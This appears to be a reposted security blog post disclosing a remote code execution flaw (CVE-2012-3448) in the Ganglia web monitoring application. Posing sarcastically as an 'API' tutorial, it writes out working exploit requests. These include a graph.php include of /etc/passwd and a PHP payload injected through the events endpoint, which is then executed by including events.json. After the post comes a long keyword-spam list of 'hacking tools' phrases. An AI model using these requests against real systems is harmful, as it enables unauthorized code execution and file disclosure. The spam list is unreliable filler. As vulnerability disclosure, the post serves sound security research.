domingo, agosto 23, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

More information


  1. Hacking Tools Usb
  2. Hak5 Tools
  3. Pentest Tools
  4. Hacker Tools Github
  5. Hacking Tools Github
  6. Hacking Tools Free Download
  7. Hack Tool Apk No Root
  8. Hacking Tools
  9. Pentest Tools Framework
  10. Hacking Tools Free Download
  11. Hack Tools For Pc
  12. Top Pentest Tools
  13. Hack And Tools
  14. Pentest Tools Android
  15. Hacking Tools Windows
  16. Android Hack Tools Github
  17. Hacking Tools Online
  18. Free Pentest Tools For Windows
  19. World No 1 Hacker Software
  20. Pentest Tools Website Vulnerability
  21. How To Hack
  22. Hacker Tools 2019
  23. Hack Tools For Pc
  24. Hacking Tools Windows
  25. Beginner Hacker Tools
  26. Tools For Hacker
  27. Hack Tools For Windows
  28. Hacking Tools Pc
  29. Termux Hacking Tools 2019
  30. Hacking Tools Download
  31. Hacker Tools For Pc
  32. Blackhat Hacker Tools
  33. Hacking Tools Hardware
  34. Tools Used For Hacking
  35. Hacker Tools Windows
  36. Hack Tools For Pc
  37. Hacker Tools Free
  38. Pentest Tools Port Scanner
  39. Hacker Tools For Pc
  40. Best Hacking Tools 2019
  41. Github Hacking Tools
  42. Hackers Toolbox
  43. Hacking Tools Pc
  44. Underground Hacker Sites
  45. Pentest Tools Open Source
  46. Hacking Tools Free Download
  47. What Is Hacking Tools
  48. Hacking Tools Download
  49. Tools 4 Hack
  50. Nsa Hack Tools Download
  51. Hacker Tools Linux
  52. Hacking Tools For Pc
  53. Underground Hacker Sites
  54. Pentest Tools Online
  55. Pentest Tools For Android
  56. Hack Rom Tools
  57. World No 1 Hacker Software
  58. Hacker Tools Hardware
  59. Tools 4 Hack
  60. Pentest Automation Tools
  61. Kik Hack Tools
  62. Pentest Tools Website
  63. Black Hat Hacker Tools
  64. Hack Tools Github
  65. Hacking Tools 2020
  66. Install Pentest Tools Ubuntu